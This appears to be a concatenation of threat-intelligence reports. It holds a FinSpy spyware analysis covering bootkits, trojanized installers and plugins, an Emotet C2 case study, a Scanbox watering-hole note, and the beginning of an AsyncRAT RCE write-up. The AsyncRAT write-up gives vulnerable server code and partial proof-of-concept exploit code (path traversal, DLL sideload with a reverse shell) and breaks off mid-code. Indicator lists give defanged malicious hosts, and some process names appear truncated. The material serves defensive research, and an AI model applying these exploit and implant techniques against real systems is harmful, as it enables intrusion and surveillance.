38. CERT-FR, “Le Groupe Cybercriminel Silence”. In: (May 7, 2020).
39. Norfolk Infosec. OSINT Reporting Regarding DPRK and TA505 Overlap. Apr. 10, 2019.
40. LEXFO, The Lazarus Constellation. Feb. 19, 2020.
41. GROUP-IB, “SILENCE 2.0”. In: (Aug. 1, 2019).
42. Group-IB. Group-IB: New Financially Motivated Attacks in Western Europe Traced to Russian-Speaking Threat Actors. Mar. 27, 2020.
43. Twitter. @Kafeine. Apr. 24, 2020.
44. Threatpost. Necurs Botnet Evolves to Hide in the Shadows, with New Payloads. Jan. 27, 2020.
45. Proofpoint. Locky Ransomware: Dridex Actors Get In The Game. Apr. 6, 2016.
46. Security Intelligence. The Necurs Botnet: A Pandora’s Box of Malicious Spam. Apr. 24, 2017.
47. BitSight. Joint Effort with Microsoft to Disrupt Massive Criminal Botnet Necurs. Mar. 10, 2020.
48. The Shadowserver Foundation. Has The Sun Set On The Necurs Botnet? Mar. 15, 2020.
49. Threatpost. As Necurs Botnet Falls from Grace, Emotet Rises. Jan. 29, 2020. |
# FinSpy: Unseen Findings
**Authors**: GReAT
FinSpy, also known as FinFisher or Wingbird, is an infamous surveillance toolset. Kaspersky has been tracking deployments of this spyware since 2011. Historically, its Windows implant was distributed through a single-stage installer. This version was detected and researched several times up to 2018. Since that year, we observed a decreasing detection rate of FinSpy for Windows. While the nature of this anomaly remained unknown, we began detecting some suspicious installers of legitimate applications, backdoored with a relatively small obfuscated downloader. We were unable to cluster those packages until the middle of 2019 when we found a host that served these installers among FinSpy Mobile implants for Android. Over the course of our investigation, we found out that the backdoored installers are nothing more than first stage implants that are used to download and deploy further payloads before the actual FinSpy Trojan.
Apart from the Trojanized installers, we also observed infections involving usage of a UEFI or MBR bootkit. While the MBR infection has been known since at least 2014, details on the UEFI bootkit are publicly revealed in this article for the first time.
We decided to share some of our unseen findings about the actual state of FinSpy implants. We will cover not only the version for Windows, but also the Linux and macOS versions, since they have a lot of internal structure and code similarities.
## UEFI Infection
During our research, we found a UEFI bootkit that was loading FinSpy. All machines infected with the UEFI bootkit had the Windows Boot Manager (bootmgfw.efi) replaced with a malicious one. When the UEFI transfers execution to the malicious loader, it first locates the original Windows Boot Manager. It is stored inside the `efi\microsoft\boot\en-us\` directory, with the name consisting of hexadecimal characters. This directory contains two more files: the Winlogon Injector and the Trojan Loader. Both of them are encrypted with RC4. The decryption key is the EFI system partition GUID, which differs from one machine to another.
Once the original bootloader is located, it is loaded into memory, patched and launched. The patched launcher:
- Patches the function of the OS loader that transfers execution to the kernel.
- The patched function hooks the kernel’s PsCreateSystemThread function, which, when called for the first time, creates an additional thread that decrypts the next loader stage and launches it.
The next stage:
- Locates the Trojan loader file on the EFI partition and decrypts it.
- Waits until a user logs on and injects the Trojan loader into `exe`.
The Trojan loader:
- Extracts the Trojan from resources and drops it under the name `dll`.
- Decrypts the Trojan with a XOR-based cipher and unpacks it with aPLib.
- Reflectively loads and launches the Trojan.
## MBR Infection
Older machines that do not support UEFI can be infected through the MBR. When the victim machine starts up, the infected MBR copies the initial loader code from the last megabyte of the hard drive to the highest available memory located before the EBDA. This code hooks the 13h and 15h BIOS interrupts and then launches the original MBR. The 15h interrupt makes sure that the Windows loader does not overwrite the copied code. When this interrupt is called to get the size of the area before the EBDA, the hook will reduce the amount of available memory. As for the 13h interrupt hook (which manages reading information from disk), it patches the OS loader when it is read from disk. Just as in the case with the EFI infection, the hooked functions place their own hooks on further OS loading stages. The last hook in the chain creates a thread in the kernel that injects the next stage into `winlogon.exe`.
In case the infection is installed on a 32-bit machine, the process of injecting code into `winlogon.exe` is more complex than the one observed in the UEFI infection. It is as follows:
- A thread with trampoline shellcode is created inside `exe`.
- This shellcode duplicates the `exe` process handle and transfers it to `explorer.exe`.
- The shellcode injects another trampoline shellcode in Explorer.
- The second shellcode makes `exe` inject the Trojan loader back into `winlogon.exe`.
This roundabout way of injecting code is intended to trick security solutions. The injected Trojan loader is the same as the UEFI one.
## User Mode Infection
### Overview
This infection is by far the most complex. In short, the attack scenario is as follows:
- The victim downloads a Trojanized application and executes it.
- During its normal course of operation, the application connects to a C2 server, downloads and then launches a non-persistent component called the Pre-Validator. The Pre-Validator ensures that the victim machine is not used for malware analysis.
- The Pre-Validator downloads Security Shellcodes from the C2 server and executes them. In total, it deploys more than 30 shellcodes. Each shellcode collects specific system information (e.g., the current process name) and uploads it back to the server.
- In case a check fails, the C2 server terminates the infection process. Otherwise, it continues sending shellcodes.
- If all security checks pass, the server provides a component that we call the Post-Validator. It is a persistent implant likely used to ensure that the victim is the intended one. The Post-Validator collects information that allows it to identify the victim machine (running processes, recently opened documents, screenshots) and sends it to a C2 server specified in its configuration. Depending on the information collected, the C2 server may command the Post-Validator to deploy the full-fledged Trojan platform or remove the infection.
### Trojanized Applications
Throughout our research, we identified numerous legitimate applications backdoored with FinSpy. Examples include software installers (e.g., TeamViewer, VLC Media Player, WinRAR) as well as portable applications. All observed backdoored application samples have their original digital signature. It is invalid, which indicates that the application has been patched. While the entry point function of the application looks clear, inspection of the executable’s PE file sections does reveal anomalies: the backdoored application has its last section (.rsrc) expanded by 51 KB.
Apart from that, a part of code from the .text section (roughly 8 KB) is overwritten with heavily obfuscated code, with the original application code placed in the expanded last section. When the backdoored application launches, it runs as normal, i.e., the inserted obfuscated code does not impact the application workflow. At some point, the application executes a jump instruction that redirects execution to the obfuscated trampoline in the .text section. This instruction appears to be placed randomly in the code. For example, a call to the CreateWindowExW function has been replaced.
This trampoline is protected with an obfuscator that we dubbed FinSpy Mutator. It launches a code that:
- Decrypts and launches a slightly modified Metasploit Reverse HTTPS stager. The decryption procedure:
- Is obfuscated with FinSpy Mutator.
- Involves applying 10 operations (ADD, SUB, XOR, ROL, ROR) to every byte of the stager.
- Is different in every backdoored installer.
- Restores the code in the .text section that was overwritten with the malicious code (recall that the original code is saved in the resource section).
- Resolves relocations in the restored code.
- Restores the instruction that has been overwritten with a jump.
The Metasploit stager connects to a configured C2 server using HTTPS for communication.
The C2 server replies with a component that we called the Pre-Validator in response to the GET request. The Metasploit stager launches it.
### The Pre-Validator
The Pre-Validator is a shellcode obfuscated with FinSpy Mutator. On startup, it:
- Hooks the NtTerminateProcess and ExitProcess functions to make sure the Pre-Validator continues working if the backdoored application is closed. The hooked functions close all the application’s windows but do not terminate its process.
- Makes an initial POST request to the C2 server.
The reply to the initial POST request contains a shellcode that we called a Security Shellcode. On receiving it, the Pre-Validator:
- Decrypts and executes the received Security Shellcode.
- Sends the shellcode execution results to the C2 server via a POST request.
- Receives the next Security Shellcode from the C2 server and repeats the steps above.
The nature of these shellcodes indicates that they are used to fingerprint the system and verify that it is not used for malware analysis. It is important to highlight that the shellcodes only collect the data; all the checks are performed server-side. In case a shellcode uploads suspicious execution results (e.g., the Pre-Validator is running on a virtual machine), the server provides a shellcode that terminates the Pre-Validator.
The received shellcodes are protected with either FinSpy Mutator, an obfuscator resembling OLLVM or both these protectors. In total, we observed 33 Security Shellcodes provided by the server.
Once all security checks are passed, the C2 server sends a shellcode that downloads and runs the Post-Validator Installer.
### The Post-Validator Installer
This module is an obfuscated shellcode. It:
- Creates a subdirectory (name differs between samples) in the C:\ProgramData directory.
- Drops two files in the newly created subdirectory:
- The Post-Validator Loader DLL.
- A shellcode with the Post-Validator itself.
- Creates a scheduled task that runs at system startup and launches the Post-Validator Loader via regsvr32.
After the Post-Validator is installed, the Pre-Validator shuts down.
### The Post-Validator Loader
The Post-Validator Loader is a huge (3-9 MB) obfuscated DLL. The Task Scheduler launches it at system startup through regsvr32.exe. Its main function is several megabytes in size, but despite that, its purpose is simple: read and execute a shellcode that is stored in the same directory as the Post-Validator Loader.
The launched shellcode decrypts the Post-Validator (it is stored in the same file with the shellcode) with RC4 and reflectively loads it.
### The Post-Validator
The Post-Validator is a DLL obfuscated with VMProtect. This module uses the same communication protocol that is used in the main Trojan component:
- The TLV (type-length-value) format to exchange data with C2 servers.
- TLV type constants that are found in the Trojan.
- The Trojan’s Cryptography Library to encrypt/decrypt exchanged data.
On startup, the Post-Validator verifies that it is not launched inside a sandbox environment. It then starts communication with C2 servers specified in its configuration, sending heartbeat messages with 15-minute intervals. Each heartbeat includes brief information about the victim machine. The heartbeat reply may contain different commands.
### The Trojan Installer
The Installer creates the working directory and sets it as being accessed, modified and created a year earlier. Afterwards, it drops the following files to it:
- The setup configuration file, which is encrypted with RC4.
- The encrypted VFS file.
- The Trojan bundle, encrypted with XOR and compressed with aPLib.
- 64-bit and 32-bit Trojan loaders, also encrypted with RC4.
The timestamps of dropped files are set to one year earlier than the current date. Once the working directory is prepared, the Installer launches the Trojan.
### The Initial Loader
The Initial Loader is a DLL that is launched on every startup by rundll32.exe. The size of the Initial Loader exceeds 5 MB. It is obfuscated with a protector resembling the open source OLLVM obfuscator. Despite its size, the only functionality of the Initial Loader is to decrypt and launch the 32-bit Trojan Loader.
### The Trojan Loader
The 32-bit Trojan Loader checks if it is running on a 64-bit system. If so, it reads the 64-bit loader from disk and runs it as a shellcode. The Trojan Loader:
- Reads the Trojan bundle file, decrypts it with XOR and unpacks with aPLib.
- Injects the Trojan DLL into `exe` by either calling CreateRemoteThread or using the KernelCallbackTable technique.
## macOS Infection
The macOS version of the malware is not as complicated as the Windows one. It is written in Objective-C. An obfuscator similar to OLLVM is used to protect FinSpy for Mac. Additionally, Objective-C selectors that may reveal information about method names contain junk.
The macOS version of FinSpy has the following components:
- The Installer.
- The Initial Loader.
- The Trojan Loader.
- The Trojan that consists of the Orchestrator, the Cryptography Library and plugins.
### The Installer
When the victim executes the malicious app, an executable located at the `<malicious application name>.app/Contents/MacOS/installer` path is launched. On startup, it checks the environment for debuggers and virtual machines. It drops the following files to the machine:
- A directory with the Trojan inside.
- The Trojan loader that runs as a launch agent.
- The configuration of the logind agent.
All copied files are timestomped. The Installer sets their owner to root:wheel and sets the SUID and SGID bits of the Trojan loader. By copying the logind.plist file to the `/Library/LaunchAgents` directory, the Installer configures the Trojan to load at startup. The Installer then launches the logind executable (Trojan Loader) with the launchctl utility.
### The Initial Loader
The Initial Loader launches every time when the operating system boots up. Once launched, it launches the Trojan Loader.
### The Trojan Loader
The Trojan Loader has a constructor function that is invoked before main. It sets hooks on functions that load application bundles. These hooks allow the Trojan to load plugins while decrypting them on the fly. Once the hooks are placed, the Trojan Loader launches the Orchestrator.
## Linux Infection
The Linux version of FinSpy is protected with an obfuscator similar to OLLVM. It has the same components as in the macOS version. The initial stage of the Installer is a shell script that determines the victim machine architecture. Depending on it, the script extracts either the 32-bit or the 64-bit second stage installer to the `/tmp/udev2` file and launches it.
The launched executable first checks if it is running in a virtual machine. In case a virtual machine is detected and the installed Trojan cannot be launched in a VM, the installer exits. The working directory is located at the `~/<directory #1>/<directory #2>` path. The installer then drops the Trojan to the working directory. The name of the Trojan Loader file is one of several predefined names. After dropping the files, the Installer sets up persistence.
### The Initial Loader
The Initial Loader is a shell script that decodes the directory path and the Trojan Loader from hexadecimal and executes the command, thus launching the Trojan Loader.
### The Trojan Loader
When launched, the Trojan Loader checks if it is being debugged and exits if it is. It reads the Orchestrator file from disk and unpacks it with aPLib, then reflectively loads and launches the Orchestrator.
## The Windows Trojan Components
The Windows version of the Trojan consists of the following components:
- The Hider, the first launched component.
- The Orchestrator, responsible for managing installed plugins and preparing data to be sent to the C2 server.
- Plugins, DLL modules that perform malicious activities on the victim machine.
- The virtual file system (VFS) which allows the Orchestrator and other plugins to interact with plugins and their configurations.
- The ProcessWorm module which intercepts system activity.
### The Hider
The Hider is the first launched component of the Backdoor. It is a valid PE file protected with the FinSpy VM. On startup, the Hider loads a clean copy of ntdll.dll from disk, which is used when calling API functions from this library. After that, it decrypts the Orchestrator, which is stored in the Hider’s resource section.
### The Orchestrator
The Orchestrator is the core module of the Trojan that controls all plugins and manages C2 server communications. When the Orchestrator starts up, it hooks its own IAT to alter the behavior of WinAPI file manipulation functions. It sets up persistence by creating an entry in the registry and reads the Orchestrator configuration to load installed plugins.
### The Application Watcher
The application watcher regularly examines all the processes on the system, looking for applications specified in the Orchestrator configuration. When it detects a starting or stopping instance of a process from the list, an appropriate event will be reported to the C2 server during heartbeat time.
### The ProcessWorm Injector
The ProcessWorm injector thread ensures that the ProcessWorm is running in every process which can be accessed by the Orchestrator. It verifies whether the ProcessWorm is running inside each process and injects it if needed.
### The Recording Manager
The recording manager periodically checks whether there are recording files available to be sent to the C2 server and prepares recording files to be uploaded when their download is requested by the C2 server.
### The C2 Server Communication Thread
This thread is responsible for maintaining communication with the C2 server, sending heartbeat messages and receiving commands.
### The Communicator Module
The malware configuration includes one or multiple C2 servers which it can connect to. In case one of the servers is down, the backdoor uses one of the fallback addresses. FinSpy does not communicate with C2 servers directly from `winlogon.exe` or `explorer.exe`. Instead, it spawns a default browser process with a hidden window and injects the Communicator module in it.
### The Virtual File System Component
The Virtual File System is where all the plugin executables and their configurations hide. All virtual files are stored in a single “real” file, which is encrypted with RC4.
### The ProcessWorm
The malware injects the ProcessWorm into all processes running on the system. Its main purpose is to extract specific information about running processes and send it to the Orchestrator or the plugins. The ProcessWorm can be injected to processes in two ways.
## Plugins Overview
In the chart below we summarize information about plugins.
| Plugin Type and ID | Features |
|---------------------|----------|
| FileManager (0x02) | Upload, download, search, delete files. Create file listing recordings. |
| CommandShell (0x04) | Create remote shell sessions. |
| TaskScheduler (0x05) | Create different types of recordings (file listings, microphone, screen, webcam) at a specified time by dispatching commands to appropriate plugins. |
| MicRecorder (0x10) | Livestream the victim’s microphone or capture its recordings. |
| KeyLogger (0x12) | Livestream or record keystrokes. |
| SkypeStealer (0x14) | Intercept Skype contacts, chats, calls and transferred files. |
| FileModificationRecorder (0x16) | Record files which have been modified. |
| FileAccessRecorder (0x17) | Record files which have been accessed. |
| PrintedFilesRecorder (0x18) | Steal files which are printed by the victim. |
| FileDeletionRecorder (0x19) | Record removed files. |
| ForensicLauncher (0x20) | Gather forensic data by downloading and executing specific utilities. (Windows only) |
| VoIPRecorder, VoIPLite (0x21, 0x26) | Eavesdrop on, and take screenshots during, online conversations. (Windows only) |
| ClickRecorder (0x22) | Capture the screen area around mouse click locations. |
| WebcamRecorder (0x23) | Take webcam images with a specified frame rate, and livestream or record them. |
| ScreenRecorder (0x24) | Take screenshots with a specified frame rate, and livestream or record them. |
| BlackberryInfect (0x25) | Infect Blackberry mobile devices with a malicious application. (Windows only) |
| EmailRecorder (0x27) | Steal email from Thunderbird, Outlook, Apple Mail and Icedove. |
| WiFiRecorder (0x28) | Monitor available Wi-Fi networks. |
| RemovableRecorder (0x29) | Record files on inserted removable media. |
| CryptoKeyRecorder (0x30) | Capture encryption keys: SSL keys, S/MIME certificates, GPG/PGP keychains along with their passphrases. (Windows only) |
## IoCs
The following IoC list is not complete. If you want more information about the APT discussed here, a full IoC list and YARA rules are available to customers of Kaspersky Threat Intelligence Reports.
### File Hashes
- 5EDF9810355DE986EAD251B297856F38
- 31F1D208EE740E1FDF9667B2E525F3D7
- 4994952020DA28BB0AA023D236A6BF3B
- 262C9241B5F50293CB972C0E93D5D5FC
- 405BB24ADE435693B11AF1D81E2BB279
- EF74C95B1DBDBF9BD231DA1EE99F0A7E
- B8A15A0CE29692FBA36A87FCDED971DE
### File Paths
- `\efi\microsoft\boot\en-us\%HEXNUMS%` – on EFI disk partition
- `/Library/Frameworks/Storage.framework` – for Mac OS version
### Mutexes
- SessionImmersiveMutex
- WininetStartupMutex0
### Events
- 0x0A7F1FFAB12BB2
- WinlogonLogon
- Debug.Trace.Event.f120.0.v1
- TermSrvReadyEvent%HEXNUMS%
- SessionImmersiveEvent
### Filemappings
- 0x0A7F1FFAB12BB3
- windows_shell_global
### Mailslots
- mailslot\x86_microsoft.windows.c-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_581cd2bf5825dde9
- mailslot\x86_microsoft.vc90.mfc_1fc8b3b9a1e18e3b_9.0.30729.6161_none_4bf7e3e2bf9ada4c
- mailslot\6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2
- mailslot\ConsoleEvent-0x00000DAC–16628266191048322066-650920812-1622683116-1844332734-1046489716-2050906124-443455187
### Domains and IPs
- 45.86.136[.]138
- 79.143.87[.]216
- 185.25.51[.]104
- 109.235.67[.]175
- 213.252.247[.]105
- 108.61.190[.]183
- 185.141.24[.]204 |
# Emotet Command and Control Case Study
**By Chris Navarrete and Yanhui Jia**
**April 9, 2021**
**Category:** Malware, Unit 42
**Tags:** C2, command and control, Cybercrime, Emotet, exploit
## Executive Summary
On March 8, 2021, Unit 42 published “Attack Chain Overview: Emotet in December 2020 and January 2021.” Based on that analysis, the updated version of Emotet talks to different command and control (C2) servers for data exfiltration or to implement further attacks. We observed attackers taking advantage of a sophisticated evasion technique and encryption algorithm to communicate with C2 servers in order to probe the victim's network environment and processes, allowing attackers to steal a user’s sensitive information or drop a new payload.
In this blog, we provide a step-by-step technical analysis, beginning from where the main logic starts, covering the encryption mechanisms and ending when the C2 data is exfiltrated through HTTP protocol to the C2 server. Palo Alto Networks Next-Generation Firewall customers are protected from Emotet with Threat Prevention and WildFire security subscriptions. Customers are also protected with Cortex XDR.
## Technical Analysis
This analysis will use custom function names (i.e., `collect_process_data`) that replace the regular IDA Pro's function format (i.e., `sub_*`) and will assume a 32-bit (x86) DLL executable with an image base address of 0x2E1000. The user can refer to the following image that contains function offsets, names and custom names for easy reference.
**NOTE:** Sub-functions used are not listed, since these can be easily located from the presented function offsets.
The present analysis begins from the entry point function `c2_logic_ep` (sub_2E2C63).
### Encryption API Functions
This malware uses two main functions: `encryption_functions_one` and `encryption_functions_two`. Both functions make use of Microsoft's Base Cryptography (CryptoAPI). The following section includes the properties used and actions performed by these crypto functions during the malware execution.
- **CryptAcquireContextW** - Uses a PROV_DH_SCHANNEL as provider type (0x18). The CRYPT_VERIFYCONTEXT and CRYPT_SILENT flags are combined with a bitwise-OR operation (0xf0000040) to make sure that no user interface (UI) is displayed to the user.
- **CryptDecodeObjectEx** - Uses a message encoding type X509_ASN_ENCODING and PKCS_7_ASN_ENCODING that are combined with a bitwise-OR operation (0x10001), a structure type X509_BASIC_CONSTRAINTS (0x13) and a total of 0x6a bytes that are going to be decoded.
- **CryptImportKey** - Imports a key-blob of 0x74 in size (bytes) and type PUBLICKEYBLOB (0x6) with a CUR_BLOB_VERSION (0x2) version.
- **CryptGenKey** - Uses an ALG_ID value that is set to CALG_AES_128 (0x0000660e) and generates a 128-bit AES session key.
- **CryptCreateHash** - Uses an ALG_ID value that is set to CALG_SHA (0x00008004), which, as the name suggests, sets the SHA hashing algorithm.
- **CryptDuplicateHash** - Receives a handle to the hash to be duplicated.
- **CryptEncrypt** - This function receives two main parameters: a handle to the encryption key generated by the CryptGenKey function and a handle to a hash object generated by CryptCreateHash. This value will be used after encryption by calling the CryptEncrypt function and passing as a parameter the pointer to the C2 data.
- **CryptExportKey** - Uses a SIMPLEBLOB (0x1) type and CRYPT_OAEP (0x00000040) as a flag. The pointer to the buffer where the key-blob is exported is part of the malware's C2 data.
- **CryptGetHashParam** - As in the case of the CryptExportKey function, the destination pointer is part of the malware's C2 data.
- **CryptDestroyHash** - As its name implies, destroys the given hash.
### Machine ID Generation and Length Checking
The `generate_machine_id` function, as its name states, is in charge of generating a machine identifier for the infected computer. The method used to generate the machine identifier is by making a call to the `_snprintf` function, which uses the format string `%s_%08X` to concatenate the value generated by `GetComputerNameA` and `GetVolumeInformationW`. In the particular case of the test machine used in this analysis, the resulting value is `ANANDAXPC_58F2C41B`.
Once the machine-id is generated, a length-check verification is also generated. This is achieved by calling the "lstrlen" function wrapper `gen_machine_id_length` and passing as a parameter the returning value from the previous function call. For the case of the testing machine, the resulting length was "12", and such value will reside in a particular stack variable since it will be used as part of the C2 data. Subsequently, a new function call is made to the `write_GoR` function. Its original purpose is unknown, however, based on the analysis and how the returning value (0x16F87C) is used. It’s presumably a delimiter, since it is located at the end of the C2 data.
### Operating System Data Collection
Part of the exfiltrated data also includes OS information, and this is achieved by calling the `collect_os_data` function. This function makes calls to `RtlGetVersion`, which stores data inside of an `OSVERSIONINFOW` structure, and `GetNativeSystemInfo` performs the same by saving its data inside a `SYSTEM_INFO` structure.
Once the data structures are populated, specific data is fetched by the instructions located at these offsets: 0x2EC3DB (Ret value), 0x2EC440 (MajorVersion), 0x2EC3DB, 0x2EC3D0 (MinorVersion) and 0x2EC45A (Architecture|PROCESSOR_ARCHITECTURE_INTEL). The returning value is computed by adding and multiplying against fixed values: MajorVersion, MinorVersion, Architecture and the returning value (0x1) of the `RtlGetNtProductType` call, which is a symbolic constant (NtProductWinNT) of the NT_PRODUCT_TYPE enumeration data type. The following Python code simulates the logic that generates such value.
### Remote Desktop Services Session Information Collection
More calls are performed, including the one to `GetCurrentProcessId`, which retrieves the process identifier for the current process, and the returning value is passed to the `ProcessIdToSessionId` function as parameter. According to the MSDN description, the `ProcessIdToSessionId` function retrieves the Remote Desktop Services session associated with a specified process. The returning value of this function indicates the Terminal Services session the current process is running on.
### Process Scanning and C2 Data Collection
This function collects active running processes on the system by the execution of the traditional method of calling `CreateToolhelp32Snapshot`, `Process32FirstW`, `GetCurrentProcessId` and `Process32NextW` functions. Before entering to this function, the instruction at offset 0x2E4715 loads the address of a local variable in the EAX register and pushed onto the stack. This variable will contain a pointer generated by a call to the `RtAllocateHeap` function that will eventually receive the process data information.
This function also makes calls to the sub-function named `copy_collected_data_parent`. During its execution, it generates a new memory section made by a call to the `RtlAllocateHeap` function, and some subsequent calls to the `memcpy` wrapper function to copy collected C2 data to the new allocated section.
The next function to call is `HTTP_LAUNCHER`, which contains sub-functions that provide web capability, among other tasks. At this point in time, the variables are initialized with the corresponding return values from the previously executed functions. The following ASCII dump shows the variable addresses, the related data and information about which function, or instruction offset, provided the given data.
The next step is a call to the `c2_data_write` function, which calls the `write_collected_data` sub-function and passes as parameters two values:
1. A pointer to the C2 data (0x2EAC3E).
2. The returning value (address) of a new memory allocation generated by a call to the `RtlAllocateHeap` function located at offset 0x2F989B.
This newly generated data passes through an algorithm, which in addition to writing (at offset 0x2FA830) also modifies certain bytes (at offset 0x2FA6DE) of the C2 data, especially some filename extensions.
Once the data is collected, a call to `write_c2_data_zero` is made, which will allocate additional memory by calling the `AllocateHeap` (0x2E99DC) function. This function will eventually be called twice, and it will call more sub-functions in where the instructions at offset 0x2F362A of the `write_c2_data_one` function will generate two DWORD values: 0x1, which is a fixed value, and 0x132, which is the length of the C2 data. The next step is a call to `copy_c2_data` (a wrapper to `memcpy` at offset 0x2F794C) function, which copies the C2 data to a new location next to the two values mentioned earlier.
The next sequential function execution is a call to `CryptDuplicateHash`. After that, a call to `copy_binary_data` is made, which makes a final C2 data copy to a new memory allocation. This location will contain the last C2 data before being encrypted by the `CryptEncrypt` function, as will be performed in subsequent steps.
The next call is to the `CryptEncrypt` function wrapper, which will reach the real API function via an indirect call to the EAX register located at offset 0x2F0AD4.
Once the C2 data is encrypted, the following step is to export the current encryption key by calling the `CryptExportKey` function at offset 0x2EFF2C.
After exporting the key, a loop located at offset 0x2EFF41 has an instruction at offset 0x2EFF43 that writes into C2 data 0x60 bytes of the exported key.
Now, a call to the API function `CryptGetHashParam` is made with a parameter that contains a pointer to `CryptDestroyHash` that will write 20 bytes of the generated hash into the C2 data.
The following image shows how the final C2 data is stored in memory.
### C2 Exfiltration: HTTP Post Request Generation
At this stage, the C2 data containing Exported Key, Hash Value, and Encrypted C2 data are done. Thus, the last stage is the completion of the data exfiltration. The following steps prepare the required data (e.g., IP address, HTTP form structure and values, etc.).
At this point, subsequent function calls are performed to generate the binary data that will be included within the HTTP form. This step consists of copying the C2 data (bytes) to the web form. This is achieved by the execution of the `copy_c2_data` sub-function. This function will generate a binary MIME attachment of the "application/octet-stream" content type with the input data to be suitable for binary transfer.
At this stage, the final payload is preparing the environment to submit information to the C2 server. To do so, it executes function calls to retrieve the required data to finally perform the HTTP request. As can be seen in the function call list, the `HttpSendRequestW()` API function is used to send the data to the server. This function allows the sender to exceed the amount of data that is normally sent by HTTP clients.
## Conclusion
Emotet was active in the wild for several years before a coordinated law enforcement campaign shut down its infrastructure in late January 2021. Its attack tactics and techniques had evolved over time, and the attack chain is very mature and sophisticated, which makes it a good case study for security researchers. This research provides an example of Emotet C2 communication, including C2 server IP selection and data encryption, so we can better understand how Emotet malware utilizes this sophisticated technique to evade security production detection.
Palo Alto Networks customers are protected from this kind of attack by the following:
1. Threat Prevention signatures 21201, 21185 and 21167 identify HTTP C2 requests attempting to download the new payload and post sensitive info.
2. WildFire and Cortex XDR identify and block Emotet and its droppers.
## Indicators of Compromise
**Samples**
2cb81a1a59df4a4fd222fbcb946db3d653185c2e79cf4d3365b430b1988d485f
**Droppers**
bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79
bd1e56637bd0fe213c2c58d6bd4e6e3693416ec2f90ea29f0c68a0b91815d91a
**URLs**
http://allcannabismeds[.]com/unraid-map/ZZm6/
http://giannaspsychicstudio[.]com/cgi-bin/PP/
http://ienglishabc[.]com/cow/JH/
http://abrillofurniture[.]com/bph-nclex-wygq4/a7nBfhs/
https://etkindedektiflik[.]com/pcie-speed/U/
https://vstsample[.]com/wp-includes/7eXeI/
http://ezi-pos[.]com/categoryl/x/
**IPs**
5.2.136[.]90
161.49.84[.]2
70.32.89[.]105
190.247.139[.]101
138.197.99[.]250
152.170.79[.]100
190.55.186[.]229
132.248.38[.]158
110.172.180[.]180
37.46.129[.]215
203.157.152[.]9
157.245.145[.]87 |
# Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks
A few days ago we detected a watering hole campaign in a website owned by a big industrial company. The website is related to software used for simulation and system engineering in a wide range of industries, including automotive, aerospace, and manufacturing. The attackers were able to compromise the website and include code that loaded a malicious Javascript file from a remote server. This Javascript file is a framework for reconnaissance that the attackers call "Scanbox" and includes some of the techniques we described in a previous blog post: Attackers abusing Internet Explorer to enumerate software and detect security products.
The Scanbox framework first configures the remote C&C server that it will use and collects a small amount of information about the victim that is visiting the compromised website including:
- Referer
- User-Agent
- Location
- Cookie
- Title (To identify specific content that the victim is visiting)
- Domain
- Charset
- Screen width and height
- Operating System
- Language
Before sending the information to the C&C server, Scanbox encodes and encrypts the data with the following function, producing the following request. If we decrypt the data it translates to:
After the first request, the framework contains several plugins to extract different information from the victim.
**Pluginid 1:** Enumerates software installed in the system using the technique we explained before that affects Internet Explorer. It also checks if the system is running different versions of EMET (Enhanced Mitigation Experience Toolkit), producing the list of security software on the target.
**Pluginid 2:** Enumerates Adobe Flash versions.
**Pluginid 5:** Enumerates Microsoft Office versions.
**Pluginid 6:** Enumerates Acrobat Reader versions.
**Pluginid 8:** Enumerates Java versions.
**Pluginid 21:** Implements a “keylogger” functionality through Javascript that logs all the keystrokes the victim is typing inside the compromised website. While the user is browsing the compromised website, all keystrokes are being recorded and sent to the C&C periodically. It will also send keystrokes when the user submits web forms that can potentially include passwords and other sensitive data.
As we have seen, this is a very powerful framework that gives attackers a lot of insight into the potential targets that will help them launch future attacks against them. We have also seen several Metasploit-produced exploits that target different versions of Java in the same IP address that hosts the Scanbox framework (122.10.9[.]109).
We recommend you look for this type of activity against the following machines in your network:
- mail[.]webmailgoogle.com
- js[.]webmailgoogle.com
- 122[.]10.9.109 |
# AsyncRAT RCE Vulnerability
Brian Stadnicki
March 12, 2022
AsyncRAT is an open source RAT (Remote Access Tool). While it isn’t typically used for advanced attacks, it’s very common in gaming scenes, thanks to how easy to use and surprisingly polished it is. Thankfully, there exists a RCE flaw.
## Attack Surface
The AsyncRAT server listens by default on 6606, 7707, and 8808. No authentication is required to connect to a server, with commands being sent over a TCP SSL socket connection, with a custom MsgPack implementation and Gzip stream compression.
There are many commands, but since this is written in C#, the easiest attack vector is to sideload a DLL, so the commands of interest write a file.
**Command: socketDownload/save**
```csharp
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
if (SD != null)
{
if (!Directory.Exists(SD.DirPath))
return;
string fileName = unpack_msgpack.ForcePathObject("Name").AsString;
string dirPath = SD.DirPath;
if (File.Exists(dirPath + "\\" + fileName))
{
fileName = DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + "_" + fileName;
await Task.Delay(100);
}
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), dirPath + "\\" + fileName));
SD.Close();
}
```
As we can see, the file is saved to the form’s download directory appended with the file name. As there is no sanitization for the file name, it is vulnerable to a path traversal attack. The vulnerability is limited by the form check, which results in the vulnerability only working when the attacker is downloading a file. This means that during a file download, the server is vulnerable.
For the purposes of this proof of concept, I will exploit it when the client has a file requested. It would be possible to keep sending a command to exploit this, especially because the connected client doesn’t show in the list view or logs until the client sends identification information.
## Exploitation
### DLL-Sideload
In order to exploit a DLL-sideloading vulnerability, I need to identify a DLL to replace. I choose `cGeoIp.dll`, which appears to be used for geolocation of clients from their IP addresses. This DLL is also effective because it is loaded when the server is started. The DLL is included in the project’s resources, so I edit in a C# reverse shell using dnSpy.
### Client Modification
For the exploitation itself, instead of writing a custom client for AsyncRAT, I found it easier to edit the client itself. Especially because my POC exploits the attacker trying to download a file, so keeping all the features helps convince the attacker to continue exploring the client and trigger the vulnerability.
```csharp
private bool infected = false;
public void DownnloadFile(string file, string dwid)
{
TempSocket tempSocket = new TempSocket();
try
{
if (!infected)
{
infected = true;
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "socketDownload";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "pre";
msgpack.ForcePathObject("DWID").AsString = dwid;
